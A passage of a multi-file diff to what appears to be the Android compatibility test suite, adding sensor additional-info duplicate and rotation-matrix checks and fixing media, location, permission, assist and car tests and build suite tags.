     private static final String TAG = "SensorAdditionalInfoTest";
     private static final int ALLOWED_ADDITIONAL_INFO_DELIVER_SEC = 3;
     private static final int REST_PERIOD_BEFORE_TEST_SEC = 3;
+    private static final double EPSILON = 1E-6;
 
     private SensorManager mSensorManager;
 
@@ -100,11 +102,47 @@
             assertTrue("Missing additional info at registration: (" + verifier.getState() + ")",
                     verifier.verify());
 
+            assertFalse("Duplicate TYPE_FRAME_BEGIN at: (" +
+                    verifier.getState() + ")", verifier.beginFrameDuplicate());
+
+            if (verifier.internalTemperature()) {
+                assertFalse("Duplicate TYPE_INTERNAL_TEMPERATURE at: (" +
+                        verifier.getState() + ")", verifier.internalTemperatureDuplicate());
+            }
+
+            if (verifier.sampling()) {
+                assertFalse("Duplicate TYPE_SAMPLING_TEMPERATURE at: (" +
+                        verifier.getState() + ")", verifier.samplingDuplicate());
+            }
+
             // verify TYPE_SENSOR_PLACEMENT for Automotive.
             if (getContext().getPackageManager().
-                hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-                    assertTrue("Missing TYPE_SENSOR_PLACEMENT at: (" + verifier.getState() + ")",
+                    hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+                assertTrue("Missing TYPE_SENSOR_PLACEMENT at: (" + verifier.getState() + ")",
                         verifier.sensorPlacement());
+
+            }
+            if(verifier.sensorPlacement()) {
+                assertFalse("Duplicate TYPE_SENSOR_PLACEMENT at: (" +
+                        verifier.getState() + ")", verifier.sensorPlacementDuplicate());
+
+                assertTrue("Incorrect size of TYPE_SENSOR_PLACEMENT at: (" +
+                        verifier.getState() + ")", verifier.sensorPlacementSizeValid());
+
+                if (verifier.sensorPlacementSizeValid()) {
+                    assertTrue("Incorrect rotation matrix of TYPE_SENSOR_PLACEMENT at: (" +
+                            verifier.getState() + ")", verifier.sensorPlacementRotationValid());
+                }
+            }
+
+            if (verifier.untrackedDelay()) {
+                assertFalse("Duplicate TYPE_UNTRACKED_DELAY at: (" +
+                        verifier.getState() + ")", verifier.untrackedDelayDuplicate());
+            }
+
+            if (verifier.vec3Calibration()) {
+                assertFalse("Duplicate TYPE_VEC3_CALIBRATION at: (" +
+                        verifier.getState() + ")", verifier.vec3CalibrationDuplicate());
             }
 
             verifier.reset(true /*flushPending*/);
@@ -127,9 +165,21 @@
 
     private class AdditionalInfoVerifier extends SensorEventCallback {
         private boolean mBeginFrame = false;
+        private boolean mBeginFrameDuplicate = false;
         private boolean mEndFrame = false;
         private boolean mFlushPending = false;
+        private boolean mInternalTemperature = false;
+        private boolean mInternalTemperatureDuplicate = false;
+        private boolean mSampling = false;
+        private boolean mSamplingDuplicate = false;
         private boolean mSensorPlacement = false;
+        private boolean mSensorPlacementDuplicate = false;
+        private boolean mIsSensorPlacementSizeValid = false;
+        private boolean mIsSensorPlacementRotationValid = false;
+        private boolean mUntrackedDelay = false;
+        private boolean mUntrackedDelayDuplicate = false;
+        private boolean mVec3Calibration = false;
+        private boolean mVec3CalibrationDuplicate = false;
         private CountDownLatch mDone;
         private final Sensor mSensor;
 
@@ -148,9 +198,43 @@
         public void onSensorAdditionalInfo(SensorAdditionalInfo info) {
             if (info.sensor == mSensor && !mFlushPending) {
                 if (info.type == SensorAdditionalInfo.TYPE_FRAME_BEGIN) {
+                    if (mBeginFrame) {
+                        mBeginFrameDuplicate = true;
+                        return;
+                    }
                     mBeginFrame = true;
+                } else if (mBeginFrame &&
+                            info.type == SensorAdditionalInfo.TYPE_INTERNAL_TEMPERATURE) {
+                    if (mInternalTemperature) {
+                        mInternalTemperatureDuplicate = true;
+                        return;
+                    }
+                    mInternalTemperature = true;
+                } else if (mBeginFrame && info.type == SensorAdditionalInfo.TYPE_SAMPLING) {
+                    if (mSampling) {
+                        mSamplingDuplicate = true;
+                        return;
+                    }
+                    mSampling = true;
                 } else if (mBeginFrame && info.type == SensorAdditionalInfo.TYPE_SENSOR_PLACEMENT) {
+                    if (mSensorPlacement) {
+                        mSensorPlacementDuplicate = true;
+                        return;
+                    }
                     mSensorPlacement = true;
+                    verifySensorPlacementData(info.floatValues);
+                } else if (mBeginFrame && info.type == SensorAdditionalInfo.TYPE_UNTRACKED_DELAY) {
+                    if (mUntrackedDelay) {
+                        mUntrackedDelayDuplicate = true;
+                        return;
+                    }
+                    mUntrackedDelay = true;
+                } else if (mBeginFrame && info.type == SensorAdditionalInfo.TYPE_VEC3_CALIBRATION) {
+                    if (mVec3Calibration) {
+                        mVec3CalibrationDuplicate = true;
+                        return;
+                    }
+                    mVec3Calibration = true;
                 } else if (info.type == SensorAdditionalInfo.TYPE_FRAME_END && mBeginFrame) {
                     mEndFrame = true;
                     mDone.countDown();
@@ -180,8 +264,62 @@
             return "fp=" + mFlushPending +", b=" + mBeginFrame + ", e=" + mEndFrame;
         }
 
+        // Checks sensor placement data length and determinant of rotation matrix is 1.
+        private void verifySensorPlacementData(float[] m) {
+            if(m.length != 12) {
+                mIsSensorPlacementSizeValid = false;
+                return;
+            }
+            mIsSensorPlacementSizeValid = true;
+            double determinant = m[0] * (m[5] * m[10] - m[6] * m[9] ) -
+                                 m[1] * (m[4] * m[10] - m[6] * m[8] ) +
+                                 m[2] * (m[4] * m[9]  - m[5] * m[8] );
+            mIsSensorPlacementRotationValid = (Math.abs(determinant - 1) < EPSILON);
+        }
+
+        public boolean beginFrameDuplicate() {
+            return mBeginFrameDuplicate;
+        }
+
+        public boolean internalTemperature() {
+            return mInternalTemperature;
+        }
+        public boolean internalTemperatureDuplicate() {
+            return mInternalTemperatureDuplicate;
+        }
+
+        public boolean sampling() {
+            return mSampling;
+        }
+        public boolean samplingDuplicate() {
+            return mSamplingDuplicate;
+        }
+
         public boolean sensorPlacement() {
             return mSensorPlacement;
         }
+        public boolean sensorPlacementDuplicate() {
+            return mSensorPlacementDuplicate;
+        }
+        public boolean sensorPlacementSizeValid() {
+            return mIsSensorPlacementSizeValid;
+        }
+        public boolean sensorPlacementRotationValid() {
+            return mIsSensorPlacementRotationValid;
+        }
+
+        public boolean untrackedDelay() {
+            return mUntrackedDelay;
+        }
+        public boolean untrackedDelayDuplicate() {
+            return mUntrackedDelayDuplicate;
+        }
+
+        public boolean vec3Calibration() {
+            return mVec3Calibration;
+        }
+        public boolean vec3CalibrationDuplicate() {
+            return mVec3CalibrationDuplicate;
+        }
     }
 }
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index 70db574..63f324d 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -30,4 +30,8 @@
         <option name="instrumentation-arg" key="annotation-for-exact-match" value="android.annotation.SystemApi" />
         <option name="runtime-hint" value="30s" />
     </test>
+
+    <!-- Controller that will skip the module if a native bridge situation is detected -->
+    <!-- For example: module wants to run arm32 and device is x86 -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
 </configuration>
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
index 6d21843..a5e780c 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
@@ -344,10 +344,12 @@
         mUsageStatsManager.reportUsageStart(activity1, TOKEN_0);
         assertAppOrTokenUsed(mFullToken0, true);
 
-        // Send the device to sleep to get onStop called for the token reporting activities.
-        mUiDevice.sleep();
-        Thread.sleep(1000);
-        assertAppOrTokenUsed(mFullToken0, false);
+        // Send the device to keyguard to get onStop called for the token reporting activities.
+        try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
+            lockScreenSession.gotoKeyguard();
+            Thread.sleep(1000);
+            assertAppOrTokenUsed(mFullToken0, false);
+        }
     }
 
     private void assertAppOrTokenUsed(String entity, boolean expected) throws Exception {
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index f349971..7706bd4 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -24,6 +24,7 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.graphics.Bitmap;
+import android.graphics.Color;
 import android.graphics.Point;
 import android.os.Bundle;
 import android.os.RemoteCallback;
@@ -187,21 +188,20 @@
         screenshot.getPixels(pixels, 0, size.x, 0, 0, size.x, size.y);
 
         int expectedColor = 0;
-        int wrongColor = 0;
         for (int pixel : pixels) {
-            if (pixel == color) {
+            // Check for roughly the same because there are rounding errors converting from the
+            // screenshot's color space to SRGB, which is what getPixels does.
+            if ((Color.red(pixel) - Color.red(color) < 5)
+                    && (Color.green(pixel) - Color.green(color) < 5)
+                    && (Color.blue(pixel) - Color.blue(color) < 5)) {
                 expectedColor += 1;
-            } else {
-                wrongColor += 1;
             }
         }
 
-        double colorRatio = (double) expectedColor / (expectedColor + wrongColor);
+        int pixelCount = screenshot.getWidth() * screenshot.getHeight();
+        double colorRatio = (double) expectedColor / pixelCount;
         Log.i(TAG, "the ratio is " + colorRatio);
-        if (colorRatio < 0.6) {
-            return false;
-        }
-        return true;
+        return colorRatio >= 0.6;
     }
 
     private void maybeBroadcastResults() {
diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
index d2b3353..9971f74 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
@@ -140,7 +140,12 @@
     protected void tearDown() throws Exception {
         mTestActivity.finish();
         mContext.sendBroadcast(new Intent(Utils.HIDE_SESSION));
-        m3pCallbackReceiving.sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
+
+
+        if (m3pActivityCallback != null) {
+            m3pActivityCallback.sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
+        }
+
         super.tearDown();
         mSessionCompletedLatch.await(3, TimeUnit.SECONDS);
     }
diff --git a/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java b/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java
index 6cf7ef6..96fa73f 100644
--- a/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java
+++ b/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java
@@ -35,11 +35,4 @@
         view.setBackgroundColor(backgroundColor);
         view.requestLayout();
     }
-
-    @Override
-    public void onPause() {
-        Log.i(TAG, "onPause");
-        finish();
-        super.onPause();
-    }
 }
diff --git a/tests/tests/bionic/Android.mk b/tests/tests/bionic/Android.mk
index fa95fe9..c94da20 100644
--- a/tests/tests/bionic/Android.mk
+++ b/tests/tests/bionic/Android.mk
@@ -48,7 +48,7 @@
 LOCAL_CXX_STL := libc++_static
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_CTS_TEST_PACKAGE := android.bionic
 
diff --git a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
index 5f391e4..357f985 100644
--- a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
@@ -22,6 +22,7 @@
 import android.car.Car;
 import android.car.CarNotConnectedException;
 import android.car.content.pm.CarPackageManager;
+import android.os.Build;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
 
@@ -77,6 +78,10 @@
     @Test
     public void testDistractionOptimizedActivityIsAllowed() throws CarNotConnectedException {
         // This test relies on test activity in installed apk, and AndroidManifest declaration.
+        if (Build.TYPE.equalsIgnoreCase("user")) {
+            // Skip this test on user build, which checks the install source for DO activity list.
+            return;
+        }
         assertTrue(mCarPm.isActivityDistractionOptimized("android.car.cts",
                 "android.car.cts.drivingstate.DistractionOptimizedActivity"));
     }
@@ -84,6 +89,10 @@
     @Test
     public void testNonDistractionOptimizedActivityNotAllowed() throws CarNotConnectedException {
         // This test relies on test activity in installed apk, and AndroidManifest declaration.
+        if (Build.TYPE.equalsIgnoreCase("user")) {
+            // Skip this test on user build, which checks the install source for DO activity list.
+            return;
+        }
         assertFalse(mCarPm.isActivityDistractionOptimized("android.car.cts",
                 "android.car.cts.drivingstate.NonDistractionOptimizedActivity"));
     }
diff --git a/tests/tests/location/src/android/location/cts/LocationManagerTest.java b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
index a46b19c..89ee843 100644
--- a/tests/tests/location/src/android/location/cts/LocationManagerTest.java
+++ b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
@@ -856,9 +856,21 @@
         assertTrue(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
 
         mManager.clearTestProviderEnabled(TEST_MOCK_PROVIDER_NAME);
+        //onSetEnabled in LMS is handle in thread, it's not synchronized ,
+        //need add delay here or will cause check failed
+        try {
+            Thread.sleep(100);
+        } catch (Exception e) {
+            Log.e(TAG, "fail in testIsProviderEnabled");
+        }
         assertFalse(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
 
         mManager.setTestProviderEnabled(TEST_MOCK_PROVIDER_NAME, true);
+        try {
+            Thread.sleep(100);
+        } catch (Exception e) {
+            Log.e(TAG, "fail in testIsProviderEnabled");
+        }
         assertTrue(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
 
         try {
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index cd09f08..47b3337 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -60,8 +60,6 @@
 import android.util.Log;
 import android.view.SoundEffectConstants;
 
-import androidx.test.filters.FlakyTest;
-
 import com.android.compatibility.common.util.CddTest;
 import com.android.internal.annotations.GuardedBy;
 
@@ -1365,13 +1363,6 @@
         }
     }
 
-    // See b/142395610 - This test isn't flaky but when run in test-mapping it
-    // fails on AOSP branches. There is some kind of state that CtsAppTestCases
-    // leaves the system in that causes this test to fail consistently.
-    // CtsMediaTestCases by itself in test-mapping passes.
-    // Disabling via Flaky to prevent this running and breaking
-    // greenness tracking for Droidcop until we can root-cause the dependency.
-    @FlakyTest
     public void testPriorityOnlyChannelsCanBypassDnd() throws Exception {
         final String NOTIFICATION_CHANNEL_ID = "test_id";
         if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
old mode 100644
new mode 100755
index d52dc16..fa20770
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -1451,7 +1451,7 @@
         // constant for test
         final String TEST_NAME = "testGetMinBufferSizeTooHighSR";
         // FIXME need an API to retrieve AudioTrack.SAMPLE_RATE_HZ_MAX
-        final int TEST_SR = 192001;
+        final int TEST_SR = AudioFormat.SAMPLE_RATE_HZ_MAX + 1;
         final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
         final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT;
 
diff --git a/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java b/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java
index 7ee1bb6..ac8b2c3 100644
--- a/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java
+++ b/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java
@@ -825,7 +825,7 @@
                             0,
                             size,
                             presentationTime,
-                            videoExtractor.getSampleFlags());
+                            flags);
                     videoExtractedFrameCount++;
                 }
                 // We extracted a frame, let's try something else next.
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
index 90cd301..74b0452 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
@@ -319,6 +319,11 @@
                 && !pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
     }
 
+    private boolean isAutomotive() {
+        PackageManager pm = getContext().getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+    }
+
     // Find whether the given codec can be found using MediaCodecList.find methods.
     private boolean codecCanBeFound(boolean isEncoder, MediaFormat format) {
         String codecName = isEncoder
@@ -410,7 +415,11 @@
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP8, false));   // vp8 decoder
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP8, true));    // vp8 encoder
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP9, false));   // vp9 decoder
-            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_HEVC, false));  // hevc decoder
+
+            //According to CDD, hevc decoding is not mandatory for automotive devices
+            if (!isAutomotive()) {
+                list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_HEVC, false));  // hevc decoder
+            }
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_MPEG4, false)); // m4v decoder
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_H263, false));  // h263 decoder
             if (hasCamera()) {
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index 4fe4531..558cad9 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -2043,6 +2043,7 @@
         private int mBufOut = 0;
         private int mBufCounter = 0;
 
+        private MediaExtractor mExtractor; // Read from Extractor instead of InputStream
         // helper for bytewise read()
         private byte[] mOneByte = new byte[1];
 
@@ -2085,6 +2086,12 @@
             mBufferInputStream = input;
         }
 
+        MediaCodecStream(MediaExtractor mediaExtractor,
+                MediaFormat format) throws Exception {
+            this(format, false /* encode */);
+            mExtractor = mediaExtractor;
+        }
+
         @Override
         public ByteBuffer read() throws IOException {
 
@@ -2104,8 +2111,19 @@
                     buf.clear();
                     int inBufLen = buf.limit();
                     int numRead = 0;
-
-                    if (mBufferInputStream != null) {
+                    long timestampUs = 0; // non-zero for MediaExtractor mode
+                    if (mExtractor != null) {
+                        numRead = mExtractor.readSampleData(buf, 0 /* offset */);
+                        timestampUs = mExtractor.getSampleTime();
+                        Log.v(TAG, "MediaCodecStream.read using Extractor, numRead "
+                                + numRead +" timestamp " + timestampUs);
+                        mExtractor.advance();
+                        if(numRead < 0) {
+                           mSawInputEOS = true;
+                           timestampUs = 0;
+                           numRead =0;
+                        }
+                    } else if (mBufferInputStream != null) {
                         ByteBuffer in = null;
                         do {
                             in = mBufferInputStream.read();
@@ -2135,7 +2153,7 @@
                     }
 
                     int flags = mSawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0;
-                    if (!mEncode && !mSentConfig) {
+                    if (!mEncode && !mSentConfig && mExtractor == null) {
                         flags |= MediaCodec.BUFFER_FLAG_CODEC_CONFIG;
                         mSentConfig = true;
                     }
@@ -2145,7 +2163,7 @@
                     mCodec.queueInputBuffer(index,
                             0 /* offset */,
                             numRead,
-                            0 /* presentationTimeUs */,
+                            timestampUs /* presentationTimeUs */,
                             flags);
                     Log.i(TAG, "queued input buffer " + index + ", size " + numRead);
                 }
diff --git a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
index 0a6ab99f..67de797 100644
--- a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
@@ -399,9 +399,10 @@
         public MediaFormat mFormat;
 
         private MediaExtractor mExtractor;
+        private MediaCodecTest.MediaCodecStream mDecoderStream;
 
         public MediaExtractorStream(
-                String mime,
+                String inMime, String outMime,
                 MediaDataSource dataSource) throws Exception {
             mExtractor = new MediaExtractor();
             mExtractor.setDataSource(dataSource);
@@ -411,23 +412,26 @@
             for (int i = 0; i < numTracks; ++i) {
                 final MediaFormat format = mExtractor.getTrackFormat(i);
                 final String actualMime = format.getString(MediaFormat.KEY_MIME);
-                if (mime.equals(actualMime)) {
-                    mExtractor.selectTrack(i);
-                    mFormat = format;
+                mExtractor.selectTrack(i);
+                mFormat = format;
+                if (outMime.equals(actualMime)) {
                     break;
+                } else { // no matching mime, try to use decoder
+                    mDecoderStream = new MediaCodecTest.MediaCodecStream(
+                            mExtractor, mFormat);
+                    Log.w(TAG, "fallback to input mime type with decoder");
                 }
             }
-            assertNotNull("MediaExtractor cannot find mime type " + mime, mFormat);
+            assertNotNull("MediaExtractor cannot find mime type " + inMime, mFormat);
             mIsFloat = mFormat.getInteger(
                     MediaFormat.KEY_PCM_ENCODING, AudioFormat.ENCODING_PCM_16BIT)
                             == AudioFormat.ENCODING_PCM_FLOAT;
-
         }
 
         public MediaExtractorStream(
-                String mime,
+                String inMime, String outMime,
                 MediaCodecTest.ByteBufferStream inputStream) throws Exception {
-            this(mime, new ByteBufferDataSource(inputStream));
+            this(inMime, outMime, new ByteBufferDataSource(inputStream));
         }
 
         @Override
@@ -435,7 +439,9 @@
             if (mSawOutputEOS) {
                 return null;
             }
-
+            if (mDecoderStream != null) {
+                return mDecoderStream.read();
+            }
             // To preserve codec-like behavior, we create ByteBuffers
             // equal to the media sample size.
             final long size = mExtractor.getSampleSize();
@@ -500,7 +506,8 @@
                             new MediaCodecTest.ByteBufferInputStream(audioStream),
                             format, true /* encode */);
             final MediaExtractorStream flacToRaw =
-                    new MediaExtractorStream("audio/raw", rawToFlac);
+                    new MediaExtractorStream(MediaFormat.MIMETYPE_AUDIO_FLAC /* inMime */,
+                            MediaFormat.MIMETYPE_AUDIO_RAW /* outMime */, rawToFlac);
 
             // Note: the existence of signed zero (as well as NAN) may make byte
             // comparisons invalid for floating point output. In our case, since the
diff --git a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
index d26587b..c873691 100644
--- a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
@@ -631,6 +631,12 @@
         // parsing String location and recover the location information in floats
         // Make sure the tolerance is very small - due to rounding errors.
 
+        // Trim the trailing slash, if any.
+        int lastIndex = location.lastIndexOf('/');
+        if (lastIndex != -1) {
+            location = location.substring(0, lastIndex);
+        }
+
         // Get the position of the -/+ sign in location String, which indicates
         // the beginning of the longitude.
         int minusIndex = location.lastIndexOf('-');
@@ -640,12 +646,8 @@
                 (minusIndex > 0 || plusIndex > 0));
         int index = Math.max(minusIndex, plusIndex);
 
-        float latitude = Float.parseFloat(location.substring(0, index - 1));
-        int lastIndex = location.lastIndexOf('/', index);
-        if (lastIndex == -1) {
-            lastIndex = location.length();
-        }
-        float longitude = Float.parseFloat(location.substring(index, lastIndex - 1));
+        float latitude = Float.parseFloat(location.substring(0, index));
+        float longitude = Float.parseFloat(location.substring(index));
         assertTrue("Incorrect latitude: " + latitude + " [" + location + "]",
                 Math.abs(latitude - LATITUDE) <= TOLERANCE);
         assertTrue("Incorrect longitude: " + longitude + " [" + location + "]",
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index 70d5c20..be33988 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -513,6 +513,12 @@
         // Make sure the tolerance is very small - due to rounding errors?.
         Log.v(TAG, "location: " + location);
 
+        // Trim the trailing slash, if any.
+        int lastIndex = location.lastIndexOf('/');
+        if (lastIndex != -1) {
+            location = location.substring(0, lastIndex);
+        }
+
         // Get the position of the -/+ sign in location String, which indicates
         // the beginning of the longtitude.
         int index = location.lastIndexOf('-');
@@ -521,12 +527,8 @@
         }
         assertTrue("+ or - is not found", index != -1);
         assertTrue("+ or - is only found at the beginning", index != 0);
-        float latitude = Float.parseFloat(location.substring(0, index - 1));
-        int lastIndex = location.lastIndexOf('/', index);
-        if (lastIndex == -1) {
-            lastIndex = location.length();
-        }
-        float longitude = Float.parseFloat(location.substring(index, lastIndex - 1));
+        float latitude = Float.parseFloat(location.substring(0, index));
+        float longitude = Float.parseFloat(location.substring(index));
         assertTrue("Incorrect latitude: " + latitude, Math.abs(latitude - LATITUDE) <= TOLERANCE);
         assertTrue("Incorrect longitude: " + longitude, Math.abs(longitude - LONGITUDE) <= TOLERANCE);
         retriever.release();
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index 91949db..7c48cd3 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -1636,6 +1636,8 @@
                 glRenderbufferStorage(GL_RENDERBUFFER, default_formats[i], width, height);
                 glFramebufferRenderbuffer(GL_FRAMEBUFFER, attachment_points[i],
                                           GL_RENDERBUFFER, renderbuffer);
+                glClearColor(0.0f, 0.0f, 0.0f, 0.0f);
+                glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT | GL_STENCIL_BUFFER_BIT);
                 break;
             }
             default: FAIL() << "Unrecognized binding type";
diff --git a/tests/tests/net/Android.bp b/tests/tests/net/Android.bp
index b6ea4af..b00455d 100644
--- a/tests/tests/net/Android.bp
+++ b/tests/tests/net/Android.bp
@@ -60,6 +60,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
 
 }
diff --git a/tests/tests/net/native/dns/Android.bp b/tests/tests/net/native/dns/Android.bp
index 9fbc3fc..1704a2b 100644
--- a/tests/tests/net/native/dns/Android.bp
+++ b/tests/tests/net/native/dns/Android.bp
@@ -35,5 +35,6 @@
     },
     test_suites: [
         "cts",
+        "mts",
     ],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/packageinstaller/atomicinstall/Android.bp b/tests/tests/packageinstaller/atomicinstall/Android.bp
index 1762edc..95f8126 100644
--- a/tests/tests/packageinstaller/atomicinstall/Android.bp
+++ b/tests/tests/packageinstaller/atomicinstall/Android.bp
@@ -32,6 +32,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
 }
 
diff --git a/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java b/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
index 5d492c6..cf26d44 100644
--- a/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
+++ b/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
@@ -237,7 +237,7 @@
      * @param packageName Package to clear
      */
     public static void clearAppState(@NonNull String packageName) {
-        runShellCommand("pm clear " + packageName);
+        runShellCommand("pm clear --user current " + packageName);
     }
 
     /**
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 0363394..4ecf5b6 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -250,7 +250,9 @@
      * Force a run of the location check.
      */
     private static void runLocationCheck() {
-        runShellCommand("cmd jobscheduler run -f " + PERMISSION_CONTROLLER_PKG + " 0");
+        runShellCommand(
+                "cmd jobscheduler run -u " + android.os.Process.myUserHandle().getIdentifier()
+                        + " -f " + PERMISSION_CONTROLLER_PKG + " 0");
     }
 
     /**
@@ -447,12 +449,16 @@
      */
     private static void resetPermissionController() throws Throwable {
         clearPackageData(PERMISSION_CONTROLLER_PKG);
+        int currentUserId = android.os.Process.myUserHandle().getIdentifier();
 
         // Wait until jobs are cleared
         eventually(() -> {
             JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
+
             for (RegisteredJob job : dump.registeredJobs) {
-                assertNotEquals(job.dump.sourcePackageName, PERMISSION_CONTROLLER_PKG);
+                if (job.dump.sourceUserId == currentUserId) {
+                    assertNotEquals(job.dump.sourcePackageName, PERMISSION_CONTROLLER_PKG);
+                }
             }
         }, UNEXPECTED_TIMEOUT_MILLIS);
 
@@ -476,7 +482,8 @@
         eventually(() -> {
             JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
             for (RegisteredJob job : dump.registeredJobs) {
-                if (job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)) {
+                if (job.dump.sourceUserId == currentUserId
+                        && job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)) {
                     return;
                 }
             }
diff --git a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
index 52b28cd..6ee6120 100644
--- a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
